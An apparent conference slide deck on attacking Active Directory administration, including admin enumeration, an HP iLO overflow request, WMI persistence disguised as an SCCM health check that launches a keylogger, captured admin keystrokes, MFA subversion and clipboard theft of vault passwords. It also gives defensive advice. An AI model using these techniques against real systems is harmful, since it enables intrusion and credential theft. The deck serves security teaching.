Exploiting Active Directory Administrator Insecurities

Sean Metcalf (@Pyrotek3)
sean@adsecurity.org
www.ADSecurity.org
ABOUT

• Founder Trimarc (Trimarc.io), a professional services company that helps organizations better secure their Microsoft platform, including the Microsoft Cloud.

• Microsoft Certified Master (MCM) Directory Services

• Speaker: Black Hat, Blue Hat, BSides, DEF CON, DerbyCon, Shakacon, Sp4rkCon

• Security Consultant / Researcher

• Active Directory Enthusiast - Own & Operate ADSecurity.org (Microsoft platform security info)
AGENDA

• Evolution of Admin Discovery
• Exploiting Typical Administration
• Multi-Factor Authentication (MFA)
• Password Vaults
• Admin Forest
• Attacking RODCs
The Evolution of Admin Discovery

Sean Metcalf | @PyroTek3 | sean@adsecurity.org
Discovering AD Admins

Enumerate the membership of “Domain Admins”

```powershell
PS C:\Users\sean> (Get-NetGroupMember -Domain 'trimarcresearch.com' -GroupName 'Domain Admins' -Recurse).Count
6
PS C:\Users\sean> Get-NetGroupMember -Domain 'trimarcresearch.com' -GroupName 'Domain Admins' -Recurse | Select GroupDomain,GroupName,MemberDomain,MemberName,IsGroup | format-table -Auto

<table>
<thead>
<tr>
<th>GroupDomain</th>
<th>GroupName</th>
<th>MemberDomain</th>
<th>MemberName</th>
<th>IsGroup</th>
</tr>
</thead>
<tbody>
<tr>
<td>trimarcresearch.com</td>
<td>Domain Admins</td>
<td>trimarcresearch.com</td>
<td>Sean</td>
<td>False</td>
</tr>
<tr>
<td>trimarcresearch.com</td>
<td>Domain Admins</td>
<td>trimarcresearch.com</td>
<td>Administrator</td>
<td>False</td>
</tr>
<tr>
<td>trimarcresearch.com</td>
<td>Domain Admins</td>
<td>trimarcresearch.com</td>
<td>TStark</td>
<td>False</td>
</tr>
<tr>
<td>trimarcresearch.com</td>
<td>Domain Admins</td>
<td>trimarcresearch.com</td>
<td>JonSnow</td>
<td>False</td>
</tr>
<tr>
<td>trimarcresearch.com</td>
<td>Domain Admins</td>
<td>trimarcresearch.com</td>
<td>SecScan</td>
<td>False</td>
</tr>
<tr>
<td>trimarcresearch.com</td>
<td>Domain Admins</td>
<td>trimarcresearch.com</td>
<td>trimarcadmin</td>
<td>False</td>
</tr>
</tbody>
</table>
```
Only looking at Domain Admin Membership?

<table>
<thead>
<tr>
<th>GroupDomain</th>
<th>GroupName</th>
<th>MemberDomain</th>
<th>MemberName</th>
<th>IsGroup</th>
</tr>
</thead>
<tbody>
<tr>
<td>trimarcresearch.com</td>
<td>Administrators</td>
<td>lab.trimarcresearch.com</td>
<td>Section 31</td>
<td>True</td>
</tr>
<tr>
<td>lab.trimarcresearch.com</td>
<td>Section 31</td>
<td>lab.trimarcresearch.com</td>
<td>SECTION31ADMIN0$</td>
<td>False</td>
</tr>
<tr>
<td>lab.trimarcresearch.com</td>
<td>Section 31</td>
<td>lab.trimarcresearch.com</td>
<td>Picard</td>
<td>False</td>
</tr>
<tr>
<td>trimarcresearch.com</td>
<td>Administrators</td>
<td>lab.trimarcresearch.com</td>
<td>DarthVader</td>
<td>False</td>
</tr>
<tr>
<td>trimarcresearch.com</td>
<td>Enterprise Admins</td>
<td>trimarcresearch.com</td>
<td>Sean</td>
<td>False</td>
</tr>
<tr>
<td>trimarcresearch.com</td>
<td>Administrators</td>
<td>trimarcresearch.com</td>
<td>Enterprise Admins</td>
<td>True</td>
</tr>
<tr>
<td>trimarcresearch.com</td>
<td>Domain Admins</td>
<td>trimarcresearch.com</td>
<td>trimarcadmin</td>
<td>False</td>
</tr>
<tr>
<td>trimarcresearch.com</td>
<td>Domain Admins</td>
<td>trimarcresearch.com</td>
<td>SecScan</td>
<td>False</td>
</tr>
<tr>
<td>trimarcresearch.com</td>
<td>Domain Admins</td>
<td>trimarcresearch.com</td>
<td>JonSnow</td>
<td>False</td>
</tr>
<tr>
<td>trimarcresearch.com</td>
<td>Domain Admins</td>
<td>trimarcresearch.com</td>
<td>TStark</td>
<td>False</td>
</tr>
<tr>
<td>trimarcresearch.com</td>
<td>Domain Admins</td>
<td>trimarcresearch.com</td>
<td>Administrator</td>
<td>False</td>
</tr>
<tr>
<td>trimarcresearch.com</td>
<td>Administrators</td>
<td>trimarcresearch.com</td>
<td>Domain Admins</td>
<td>True</td>
</tr>
<tr>
<td>trimarcresearch.com</td>
<td>Enterprise Admins</td>
<td>trimarcresearch.com</td>
<td>trimarcadmin</td>
<td>False</td>
</tr>
<tr>
<td>trimarcresearch.com</td>
<td>Administrators</td>
<td>trimarcresearch.com</td>
<td>jduncan</td>
<td>False</td>
</tr>
<tr>
<td>trimarcresearch.com</td>
<td>Administrators</td>
<td>trimarcresearch.com</td>
<td>Administrator</td>
<td>False</td>
</tr>
<tr>
<td>trimarcresearch.com</td>
<td>Administrators</td>
<td>trimarcresearch.com</td>
<td>lukeskywalker</td>
<td>False</td>
</tr>
<tr>
<td>trimarcresearch.com</td>
<td>Server Tier 3</td>
<td>trimarcresearch.com</td>
<td>Eddie</td>
<td>False</td>
</tr>
<tr>
<td>trimarcresearch.com</td>
<td>Administrators</td>
<td>trimarcresearch.com</td>
<td>Server Tier 3</td>
<td>True</td>
</tr>
<tr>
<td>trimarcresearch.com</td>
<td>Domain Admins</td>
<td>trimarcresearch.com</td>
<td>Sean</td>
<td>False</td>
</tr>
<tr>
<td>trimarcresearch.com</td>
<td>Administrators</td>
<td>trimarcresearch.com</td>
<td>trimarcadmin</td>
<td>False</td>
</tr>
</tbody>
</table>
What are we missing?

• Domain Admins group membership: 6
What are we missing?

• Domain Admins group membership: 6
• Administrators group membership: 20
What are we missing?

• Domain Admins group membership: 6
• Administrators group membership: 20

Domain Admins is a member of Administrators
DA gets full AD admin rights & full DC admin rights from the Administrators group
What if we see this?

<table>
<thead>
<tr>
<th>Name</th>
<th>Active Directory Domain Services Folder</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Discover all accounts with AdminCount = 1

<table>
<thead>
<tr>
<th>name</th>
<th>pwdlastset</th>
<th>lastlogon</th>
<th>distinguishedname</th>
</tr>
</thead>
<tbody>
<tr>
<td>krbtgt</td>
<td>5/16/2018 9:22:06 PM</td>
<td>12/31/1600 7:00:00 PM</td>
<td>CN=krbtgt,CN=Users,DC=trimarcresearch,DC=com</td>
</tr>
<tr>
<td>Ruth Parker</td>
<td>12/31/1600 7:00:00 PM</td>
<td>12/31/1600 7:00:00 PM</td>
<td>CN=Ruth Parker,OU=Admin Accounts,OU=Administration,DC=trimarcresearch,DC=com</td>
</tr>
<tr>
<td>Jack Duncan</td>
<td>5/17/2018 12:09:39 AM</td>
<td>12/31/1600 7:00:00 PM</td>
<td>CN=Jack Duncan,OU=Users,OU=Accounts,DC=trimarcresearch,DC=com</td>
</tr>
<tr>
<td>Vulnerability Scanner</td>
<td>5/17/2018 12:15:03 AM</td>
<td>12/31/1600 7:00:00 PM</td>
<td>CN=Vulnerability Scanner,OU=Privileged Service Accounts,OU=Administrator,DC=trimarcresearch,DC=com</td>
</tr>
<tr>
<td>Eddie</td>
<td>5/17/2018 10:54:42 AM</td>
<td>12/31/1600 7:00:00 PM</td>
<td>CN=Eddie,OU=Users,OU=Accounts,DC=trimarcresearch,DC=com</td>
</tr>
<tr>
<td>JonSnow</td>
<td>5/17/2018 10:55:52 AM</td>
<td>12/31/1600 7:00:00 PM</td>
<td>CN=JonSnow,OU=AD Admin Accounts,OU=Administration,DC=trimarcresearch,DC=com</td>
</tr>
<tr>
<td>T Stark</td>
<td>5/17/2018 10:56:46 AM</td>
<td>12/31/1600 7:00:00 PM</td>
<td>CN=T Stark,OU=AD Admin Accounts,OU=Administration,DC=trimarcresearch,DC=com</td>
</tr>
<tr>
<td>Joe User</td>
<td>8/4/2018 12:03:04 AM</td>
<td>8/7/2018 6:21:01 PM</td>
<td>CN=Joe User,OU=Users,OU=Accounts,DC=trimarcresearch,DC=com</td>
</tr>
<tr>
<td>Administrator</td>
<td>8/2/2018 11:16:12 AM</td>
<td>8/3/2018 1:20:53 PM</td>
<td>CN=Administrator,OU=Service Accounts,OU=Accounts,DC=trimarcresearch,DC=com</td>
</tr>
<tr>
<td>Nick Fury</td>
<td>5/20/2018 10:48:28 AM</td>
<td>12/31/1600 7:00:00 PM</td>
<td>CN=Nick Fury,OU=Admin Accounts,OU=Administration,DC=trimarcresearch,DC=com</td>
</tr>
<tr>
<td>Sean</td>
<td>7/8/2018 4:35:24 AM</td>
<td>8/9/2018 1:02:58 PM</td>
<td>CN=Sean,CN=Users,DC=trimarcresearch,DC=com</td>
</tr>
</tbody>
</table>
Discover all accounts with AdminCount = 1

Note: This only shows potential AD admins in this domain
What if our tool isn’t multi-domain or multi-forest capable?

```powershell
PS C:\> get-adgroupmember 'Administrators' -Recursive
get-adgroupmember : The server was unable to process the request due to an internal error. For more information about the error, either turn on IncludeExceptionDetailInFaults (either from ServiceBehaviorAttribute or from the <serviceDebug> configuration behavior) on the server in order to send the exception information back to the client, or turn on tracing as per the Microsoft .NET Framework SDK documentation and inspect the server trace logs.
At line:1 char:1
+ get-adgroupmember 'Administrators' -Recursive
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  + CategoryInfo : NotSpecified: (Administrators:ADGroup) [get-ADGroupMember], ADException
```
What if our tool isn’t multi-domain or multi-forest capable?

```powershell
PS C:\> get-adgroupmember 'Administrators' -Recursive
get-adgroupmember : The server was unable to process the request due to an internal error. For more information about the error, either turn on IncludeExceptionDetailInFaults (either from ServiceBehaviorAttribute or from the <serviceDebug> configuration behavior) on the server in order to send the exception information back to the client, or turn on tracing as per the Microsoft .NET Framework SDK documentation and inspect the server trace logs.
At line:1 char:1
+ get-adgroupmember 'Administrators' -Recursive
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
   + CategoryInfo : NotSpecified: (Administrators:ADGroup) [Get-ADGroupMember], ADException

PS C:\> get-adgroupmember 'Administrators' -Recursive | select distinguishedname,objectclass

distinguishedname     objectclass
----------------------  ------
CN=Sean,CN=Users,DC=trimarcresearch,DC=com          user
CN=Darth Vader,OU=Accounts,OU=AD Administration,DC=lab,DC=trimarcresearch,DC=com    user
CN=Vulnerability Scanner,OU=Privileged Service Accounts,OU=Administration,DC=trimarcresearch,DC=com  user
CN=trimarcresearchadmin,CN=Users,DC=trimarcresearch,DC=com            user
CN=Section31Admin01,OU=Workstations,OU=Lab Resources,DC=lab,DC=trimarcresearch,DC=com computer
CN=Picard,OU=Accounts,OU=Lab Resources,DC=lab,DC=trimarcresearch,DC=com                 user
CN=Eddie,OU=Users,OU=Accounts,DC=trimarcresearch,DC=com           user
CN=Luke Skywalker,OU=AD Admin Accounts,OU=Administration,DC=trimarcresearch,DC=com       user
CN=administrator,OU=Service Accounts,OU=Accounts,DC=trimarcresearch,DC=com  user
CN=T Stark,OU=AD Admin Accounts,OU=Administration,DC=trimarcresearch,DC=com         user
CN=JonSnow,OU=AD Admin Accounts,OU=Administration,DC=trimarcresearch,DC=com      user
```
Discovering Hidden Admin & AD Rights

• Review settings in GPOs linked to Domain Controllers
• The “Default Domain Controllers Policy” GPO (GPO GUID 6AC1786C-016F-11D2-945F-00C04FB984F9) typically has old settings.

```
PS C:\> Get-ADOrganizationalUnit 'OU=Domain Controllers,DC=trimarcresearch,DC=com'

City : 
Country : 
DistinguishedName : OU=Domain Controllers,DC=trimarcresearch,DC=com
LinkedGroupPolicyObjects : {CN={6AC1786C-016F-11D2-945F-00C04FB984F9},CN= Policies,CN=System,DC=trimarcresearch,DC=com}
```
Discovering Hidden Admin & AD Rights

- Review settings in GPOs linked to Domain Controllers
- The “Default Domain Controllers Policy” GPO (GPO GUID 6AC1786C-016F-11D2-945F-00C04FB984F9) typically has old settings.
- User Rights Assignments in these GPOs are hidden gold.
- These are rarely checked...

PS C:\> Get-ADOrganizationalUnit 'OU=Domain Controllers,DC=trimarcresearch,DC=com'

<table>
<thead>
<tr>
<th>City</th>
<th>:</th>
</tr>
</thead>
<tbody>
<tr>
<td>Country</td>
<td>:</td>
</tr>
<tr>
<td>DistinguishedName</td>
<td>OU=Domain Controllers,DC=trimarcresearch,DC=com</td>
</tr>
<tr>
<td>LinkedGroupPolicyObjects</td>
<td>{CN={6AC1786C-016F-11D2-945F-00C04FB984F9},CN= Policies,CN=System,DC=trimarcresearch,DC=com}</td>
</tr>
</tbody>
</table>
Allow Log On Locally

Default Groups:
• Account Operators
• Administrators
• Backup Operators
• Print Operators
• Server Operators

Additional Groups:
• Lab Admins
• Server Tier 3
• Domain Users
Allow Log On Locally

**Default Groups:**
- Account Operators
- Administrators
- Backup Operators
- Print Operators
- Server Operators

**Additional Groups:**
- Lab Admins
- Server Tier 3
  - Domain Users
What If We Can Gain Remote “Local” Access?

Sean Metcalf | @PyroTek3 | sean@adsecurity.org
What If We Can Gain Remote “Local” Access?

Sean Metcalf | @PyroTek3 | sean@adsecurity.org
HP ILO Vulnerability CVE-2017-12542

HP released patches for CVE-2017-12542 in August last year, in iLO 4 firmware version 2.54.

The vulnerability affects all HP iLO 4 servers running firmware version 2.53 and before. Other iLO generations, like iLO 5, iLO 3, and more are not affected.

HP released patches for CVE-2017-12542 in August last year, in iLO 4 firmware version 2.54.

The vulnerability affects all HP iLO 4 servers running firmware version 2.53 and before. Other iLO generations, like iLO 5, iLO 3, and more are not affected.


curl -H "Connection: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
HP ILO Vulnerability CVE-2017-12542

HP released patches for CVE-2017-12542 in August last year, in iLO 4 firmware version 2.54.

The vulnerability affects all HP iLO 4 servers running firmware version 2.53 and before. Other iLO generations, like iLO 5, iLO 3, and more are not affected.


curl -H "Connection: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

Sean Metcalf | @PyroTek3 | sean@adsecurity.org

https://airbus-seclab.github.io/ilo/SSTIC2018-Article-subverting_your_server_through_its_bmc_the_hpe_ilo4_case-gazet_perigaud_czarny.pdf
Allow Log On Locally + RDP Logon = DC Fun!

**Allow Log On Locally**
- Account Operators
- Administrators
- Backup Operators
- Print Operators
- Server Operators
- Lab Admins
- Domain Users
- Server Tier 3

**Allow Log On Through Terminal Services**
- Administrators
- Server Tier 3

Sean Metcalf | @PyroTek3 | sean@adsecurity.org
Allow Log On Locally + RDP Logon = DC Fun!

Allow Log On Locally

- Account Operators
- Administrators
- Backup Operators
- Print Operators
- Server Operators
- Lab Admins
- Domain Users
- **Server Tier 3**

Allow Log On Through Terminal Services

- Administrators
- **Server Tier 3**

Sean Metcalf | @PyroTek3 | sean@adsecurity.org
Allow Log On Locally + RDP Logon = DC Fun!

PS C:\> Get-NetGroupMember 'Server Tier 3'

GroupDomain : trimarcresearch.com
GroupName    : Server Tier 3
MemberDomain : trimarcresearch.com
MemberName   : Eddie
MemberSID    : S-1-5-21-3059099413-3826416028-81522354-1601
IsGroup      : False
MemberDN     : CN=Eddie,OU=Users,OU=Accounts,DC=trimarcresearch,DC=com
Manage Auditing & Security Log

Default Groups:

• Administrators
• [Exchange]

Additional Groups:

• Lab Admins

Anyone with the **Manage auditing and security log** user right can clear the Security log to erase important evidence of unauthorized activity.
Enable Computer & User Accounts to be Trusted for Delegation

• Administrators
• Lab Admins
• Server Tier 3

Misuse of the **Enable computer and user accounts to be trusted for delegation** user right could allow unauthorized users to impersonate other users on the network. An attacker could exploit this privilege to gain access to network resources and make it difficult to determine what has happened after a security incident.

* The user or machine object that is granted this right must have write access to the account control flags.
Identifying Admin Restrictions

PS C:\> Get-NetGroupMember 'Domain Admins' -Recurse | `  
% { get-aduser $_.membersid -prop samaccountname,logonhours,logonworkstations,passwordlastset } |`  
select samaccountname,logonhours,logonworkstations,passwordlastset |`  
Format-table -auto

<table>
<thead>
<tr>
<th>samaccountname</th>
<th>logonhours</th>
<th>logonworkstations</th>
<th>passwordlastset</th>
</tr>
</thead>
<tbody>
<tr>
<td>Sean</td>
<td></td>
<td></td>
<td>7/8/2018 4:35:24 PM</td>
</tr>
<tr>
<td>lukeskywalker</td>
<td>{0, 0, 0, 0...}</td>
<td>trddc01</td>
<td>5/23/2018 10:29:41 PM</td>
</tr>
<tr>
<td>Administrator</td>
<td></td>
<td></td>
<td>8/2/2018 11:16:12 PM</td>
</tr>
<tr>
<td>TS Stark</td>
<td>{0, 0, 0, 0...}</td>
<td></td>
<td>5/17/2018 10:56:46 PM</td>
</tr>
<tr>
<td>JonSnow</td>
<td></td>
<td>ADADMINWRK01,ADADMINWRK02,ADADMINWRK03</td>
<td>5/17/2018 10:55:52 PM</td>
</tr>
<tr>
<td>SecScan</td>
<td></td>
<td></td>
<td>5/17/2018 12:15:03 AM</td>
</tr>
<tr>
<td>trimarcadmin</td>
<td>{255, 255, 255, 255...}</td>
<td></td>
<td>8/6/2018 12:07:15 AM</td>
</tr>
</tbody>
</table>
The Evolution of Administration
Where We Were

• In the beginning, there were admins everywhere.
• Sometimes, user accounts were Domain Admins.
• Every local Administrator account has the same name & password.
• Some environments had almost as many Domain Admins as users.
Where We Were

This resulted in a target rich environment with multiple paths to exploit.

Traditional methods of administration are trivial to attack and compromise due to admin credentials being available on the workstation.
Where We Were:
“Old School Admin Methods”

• Logon to workstation as an admin
  • Credentials in LSASS.

• RunAs on workstation and run standard Microsoft MMC admin tools ("Active Directory Users & Computers")
  • Credentials in LSASS.

• RDP to Domain Controllers or Admin Servers to manage them
  • Credentials in LSASS on remote server.
Where We Were:
"Old School Admin Methods"

Sean Metcalf | @PyroTek3 | sean@adsecurity.org
Where Are We Now: Newer “Secure” Admin Methods

User Account Control

Do you want to allow this app to make changes to your device?

Microsoft Management Console

Verified publisher: Microsoft Windows

Show more details
To continue, enter an admin user name and password.

User name
Password

Domain: TRIMARCLAB

Yes No

Active Directory Users and Computers

File Action View Help

lab.trimarcresearch.com

[Windows Explorer screenshot showing Active Directory structure]
Where Are We Now: Newer “Secure” Admin Methods

Sean Metcalf | @PyroTek3 | sean@adsecurity.org
Where Are We Now: Newer “Secure” Admin Methods

Remote Desktop Connection

Windows Security

Enter your credentials

These credentials will be used to connect to trddc01

sean

Domain: TRIMARCRESEARCH

Remember me
Where Are We Now:
Newer “Secure" Admin Methods

Sean Metcalf | @PyroTek3 | sean@adsecurity.org
Where Are We Now: Newer “Secure” Admin Methods
Exploiting Typical Administration

Microsoft Windows [Version 10.0.16299.547]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Users\sean>whoami
trimarcresearch\sean

C:\Users\sean>mstsc.exe

C:\Users\sean>

Remote Desktop Connection

Computer: trdcdc11.lab.trimarcresearch.com
User name: trimarclab\darthvader
You will be asked for credentials when you connect.

Show Options  Connect  Help
Exploiting Typical Administration

Sean Metcalf | @PyroTek3 | sean@adsecurity.org
Exploiting Typical Administration

```powershell
c:\windows\system32> # Create WMI Event Filter
$Filter = (GetWMICLASS("\\\root\subscription:_eventFilter")).CreateInstance()
$Filter.QueryLanguage = "WQL"
$Filter.EventNamespace = "ROOT\wmi"
$Filter.Query = "SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='mstsc.exe'"
$Filter.Name = "Monitor RDP"
$Result = $Filter.Put()
$Filter = $Result.Path # To be used in binding

# Create WMI Event Consumer
$Consumer = (GetWMIclass("\\\root\subscription:CommandLineEventConsumer")).CreateInstance()
$Consumer.Name = "SCCM\HealthCheck"
$Consumer.CommandLineTemplate = "powershell.exe -ExecutionPolicy Bypass -File 'c:\temp\scripts\SCCMHealthCheck.ps1'"
$Result = $Consumer.Put()
$Consumer = $Result.Path # To be used in binding

# Establish binding between WMI event filter and consumer
$Binding = (GetWMIclass("\\\root\subscription:_FilterToConsumerBinding")).CreateInstance()
$Binding.Filter = $Filter
$Binding.Consumer = $Consumer
$Binding.Put()
```
Exploiting Typical Administration

```
PS C:\windows\system32> # Create WMI Event Filter
$filter = "([WMICLASS]"\root\subscription:__EventFilter").CreateInstance()
$filter.QueryLanguage = "WMI"
filter $filter
$filter
$filter
$filter $result = $iConsumer.Put()
$iConsumer = $result.Path # To be used in binding

'c:\temp\scripts\SCCMHealthCheck.ps1'
```

Sean Metcalf | @PyroTek3 | sean@adsecurity.org
Exploiting Typical Administration

```
PS C:\Windows\system32> # Create WMI Event Filter

# Create WMI Event Filter

SCCMHealthCheck.ps1

function Get-Keystrokes {
    <#
    .SYNOPSIS
    Logs keys pressed, time and the active window.
    
    PowerSploit Function: Get-Keystrokes
    Original Authors: Chris Campbell (@ObscureSec) and Matthew Graeber (@Mattifestation)
    Revised By: Jesse Davis (@secabstraction)
    License: BSD 3-Clause
    Required Dependencies: None
    Optional Dependencies: None
    #>
    PARAMETER LogPath
    Specifies the path where pressed key details will be logged. By default, keystrokes are logged to %TEMP%\key.log.
    
    PARAMETER Timeout
    Specifies the interval in minutes to capture keystrokes. By default, keystrokes are captured indefinitely.
    
    PARAMETER PassThru
    Returns the keylogger's PowerShell object, so that it may manipulated (disposed) by the user; primarily for testing purposes.
    
    .LINK
    http://www.obscurasec.com/
    http://www.exploit-monday.com/
    https://github.com/secabstraction
    #>
```
Exploiting Typical Administration

---

**Function**: Get-Key-strokes

Logs keys pressed, time and the active window.

**PowerSploit Function**: Get-Key-strokes

**Original Authors**: Chris Campbell (@ObscurySec) and Matthew Graeber (@mattifestation)

**Revised By**: Jesse Davis (@secabstraction)

**License**: BSD 3-Clause

**Required Dependencies**: None

**Optional Dependencies**: None

**.PARAMETER LogPath**

Specifies the path where pressed key details will be logged. By default, keystrokes are logged to %TEMP%\key.log.

**.PARAMETER Timeout**

Specifies the interval in minutes to capture keystrokes. By default, keystrokes are captured indefinitely.

**.PARAMETER PassThru**

Returns the keylogger's PowerShell object, so that it may manipulated (disposed) by the user; primarily for testing purposes.

**.LINK**

- http://www.obscurysec.com/
- http://www.exploit-monday.com/
- https://github.com/secabstraction

---
Exploiting Typical Administration
Exploiting Typical Administration

TypedKey,WindowTitle,Time
Remote Desktop Connection,8/1/2018 2:08:19 AM

<trdc dc11.lab.trimarcresresearch.com<Enter>
trimarclab\dartvader
<Tab>
<Shift>SkYWl<Shift>!
What About MFA?

Let’s MFA that RDP

YOU MFA THE RDP

SO WHEN YOU RDP IT’S MFA’D?
Multi-Factor Authentication

Remote Desktop Connection

Computer: trdcdc11.lab.trimarcresearch.com
User name: trimarc\lab\darthvader
You will be asked for credentials when you connect.

Show Options  Connect  Help

Sean Metcalf  @PyroTek3  sean@adsecurity.org
Multi-Factor Authentication

Remote Desktop Connection

Remote Desktop Connection

Computer: trdcdc11.lab.trimarc

User name: trimarclab\darthvader

You will be asked for credentials when connecting.

Show Options

Powered by Duo Security

Device: iOS (XXX-XXX-XXX)

Choose an authentication method

- Duo Push
- Call Me
- Passcode

Send Me a Push

Call Me

Enter a Passcode

Sean Metcalf | @PyroTeK3 | sean@adsecurity.org
Fun with MFA

Login Request
Protected by Duo Security

Trimarc
TR RDP

Sean
172.271.271.172
Las Vegas, NV, US
10:57:46 AM EDT
July 24, 2019

Approve
Deny
Fun with MFA

Login Request
Protected by Duo Security

Trimarc
TR RDP
Sean
172.271.271.172
Las Vegas, NV, US
10:57:46 AM EDT
July 24, 2018

Login Request
Protected by Duo Security

Trimarc
TR RDP
Sean
172.271.271.172
Las Vegas, NV, US
10:57:47 AM EDT
July 24, 2018
Fun with MFA

Login Request
Protected by Duo Security

Trimarc
[Trimarc Research] ADFS

Sean

172.271.271.172
Las Vegas, NV, US

10:57:46 AM EDT
July 24, 2018

Approve
Deny

Login Request
Protected by Duo Security

Trimarc
[Trimarc Research] ADFS

Sean

172.271.271.172
Las Vegas, NV, US

10:57:47 AM EDT
July 24, 2018

Approve
Deny
Fun with MFA

Sean Metcalf | @PyroTek3 | sean@adsecurity.org
Fun with MFA
Fun with MFA
Subverting MFA

What if an attacker could bypass MFA without anyone noticing?

Sean Metcalf | @PyroTek3 | sean@adsecurity.org
Subverting MFA

ACME has enabled users to update several attributes through a self-service portal.

- These attributes include:
  - Work phone number
  - Work address
  - Mobile number
  - Org-specific attributes
Subverting MFA

ACME has enabled users to update several attributes through a self-service portal.

• These attributes include:
  • Work phone number
  • Work address
  • Mobile number
  • Org-specific attributes
Subverting MFA

ACME has enabled users to update several attributes through a self-service portal.

- These attributes include:
  - Work phone number
  - Work address
  - Mobile number
  - Org-specific attributes
Subverting MFA

Choose an authentication method

- Duo Push *RECOMMENDED*
  - Send me a Push
- Call Me
  - Call Me
- Passcode
  - Enter a Passcode

What is this? 🔄
Need help?

Powered by Duo Security

Sean Metcalf | @PyroTek3 | sean@adsecurity.org
Subverting MFA
Subverting MFA

Extra verification increases your account security when signing into Okta.

- **Text Message Code**
  - Setup

- **Voice Call**
  - Reset

- **Security Question**
  - Setup
Subverting MFA through SMS

Summary
• Company uses self-service to enable users to update basic user information attributes.
• Attacker compromises user account/workstation and performs self-service update of Mobile/Cell Phone Number to one the attacker controls.
• Attacker compromises admin user name & password
• Attacker leverages “backdoor” SMS/text message for MFA to use admin credentials.
• Game over.

Sean Metcalf | @PyroTek3 | sean@adsecurity.org
Subverting MFA

https://www.n00py.io/2018/08/bypassing-duo-two-factor-authentication-fail-open/
Subverting MFA

https://www.n00py.io/2018/08/bypassing-duo-two-factor-authentication-fail-open/
Subverting MFA

https://www.n00py.io/2018/08/bypassing-duo-two-factor-authentication-fail-open/
Subverting MFA

https://www.n00py.io/2018/08/bypassing-duo-two-factor-authentication-fail-open/
MFA Request Confirmation

This email is confirmation that your request for updating your account with Multi Factor Authentication (MFA) has been received.

Please click on the following link to confirm that you still want MFA enabled and that you are the requester. If you did not submit the request, please contact security@adsecurity.org.

https://mfa.adsecurity.org/request?token=FHRy34t34yhrty245h245yg4G4tg4te4tg34t
Customer MFA Recommendations

• Yes, use MFA!
• Don’t rely on MFA as the primary method to protect admin accounts.
• Use hardware tokens or App & disable SMS (when possible).
• Ensure all MFA users know to report anomalies.
• Research “Fail Closed” configuration on critical systems like password vaults and admin servers.
• Remember that once an attacker has AD Admin credentials, MFA doesn’t really stop them.
• Better secure the MFA on-boarding/updating process.
• Identify potential bypass methods & implement mitigation/detection.
Exploiting Typical Administration

From AD Admin account name & PW → DCSync
There’s Something About Password Vaults

Sean Metcalf | @PyroTek3 | sean@adsecurity.org
Enterprise Password Vault

• Being deployed more broadly to improve administrative security.
• Typically CyberArk or Thycotic SecretServer.
• “Reconciliation” DA account to bring accounts back into compliance/control.
• Password vault maintains AD admin accounts.
• Additional components to augment security like a “Session Manager”.

Sean Metcalf | @PyroTek3 | sean@adsecurity.org
Enterprise Password Vault

Password Vault Option #1: Check Out Credential
Enterprise Password Vault

Password Vault Option #1: Check Out Credential
• Connect to Password Vault & Check Out Password (Copy).

[Diagram showing Workstation connecting to Password Vault via HTTPS to Admin Server]
Enterprise Password Vault

Password Vault Option #1: Check Out Credential
• Connect to Password Vault & Check Out Password (Copy).

Workstation ➔ HTTPS ➔ Password Vault ➔ Password ➔ Admin Server

Sean Metcalf | @PyroTek3 | sean@adsecurity.org
Enterprise Password Vault

Password Vault Option #1: Check Out Credential

• Connect to Password Vault & Check Out Password (Copy).

Sean Metcalf | @PyroTek3 | sean@adsecurity.org
Enterprise Password Vault

Password Vault Option #1: Check Out Credential
• Connect to Password Vault & Check Out Password (Copy).
• Paste Password into RDP Logon Window

Workstation ► HTTPS ► Password Vault

Password Vault ► Password

Admin Server ► RDP | PW

Sean Metcalf | @PyroTek3 | sean@adsecurity.org
Attacking Enterprise Password Vault

function Get-ClipboardContents {
  # SYNOPSIS
  Monitors the clipboard on a specified interval for changes to copied text.
  PowerSploit Function: Get-ClipboardContents
  Author: @harmj0y
  License: BSD 3-Clause
  Required Dependencies: None

  $PrevLength = $clipboard.Length
  $PollInterval = $PollInterval
  $Timestamp = (Get-Date -Format dd/MM/yyyy:HH:mm:ss:ff)
  "$Timestamp Get-ClipboardContents Shutting down at $Timestamp"
  Break

Get-ClipboardContents | out-file c:\2~tmp
Attacking Enterprise Password Vault

SCCM-H

Get-ClipboardContents

Monitors the clipboard on a specified interval for changes to copied text.

PowerSploit Function: Get-ClipboardContents
Author: @harmj0y
License: BSD 3-Clause
Required Dependencies: None

```powershell
$PrevLength = $cl.Text.Length

if($PrevLength -eq $null)
{
}
else{
    $TimeStamp = (Get-Date -Format dd/MM/yyyy:HH:mm:ss:ff)
    "\n>>> Get-ClipboardContents Shutting down at $TimeStamp >>>\n"
    Break;
}
Start-Sleep -s $PollInterval

Get-ClipboardContents | out-file c:\_2.-tmp
```
Attacking Enterprise Password Vault

Local Disk (C:)

<table>
<thead>
<tr>
<th>Name</th>
<th>Size</th>
<th>Date modified</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>Packages</td>
<td></td>
<td>7/6/2018 10:14 PM</td>
<td>File folder</td>
</tr>
<tr>
<td>PerfLogs</td>
<td></td>
<td>6/19/2018 8:25 PM</td>
<td>File folder</td>
</tr>
<tr>
<td>Program Files</td>
<td></td>
<td>7/31/2018 7:35 PM</td>
<td>File folder</td>
</tr>
<tr>
<td>Program Files (x86)</td>
<td></td>
<td>9/29/2017 2:41 PM</td>
<td>File folder</td>
</tr>
<tr>
<td>ProgramData</td>
<td></td>
<td>7/8/2018 8:53 PM</td>
<td>File folder</td>
</tr>
<tr>
<td>Temp</td>
<td></td>
<td>8/1/2018 2:10 AM</td>
<td>File folder</td>
</tr>
<tr>
<td>Users</td>
<td></td>
<td>8/1/2018 1:24 AM</td>
<td>File folder</td>
</tr>
<tr>
<td>Windows</td>
<td></td>
<td>7/10/2018 7:08 AM</td>
<td>File folder</td>
</tr>
<tr>
<td>WindowsAzure</td>
<td></td>
<td>7/31/2018 7:36 PM</td>
<td>File folder</td>
</tr>
<tr>
<td>_1._tmp</td>
<td>6 KB</td>
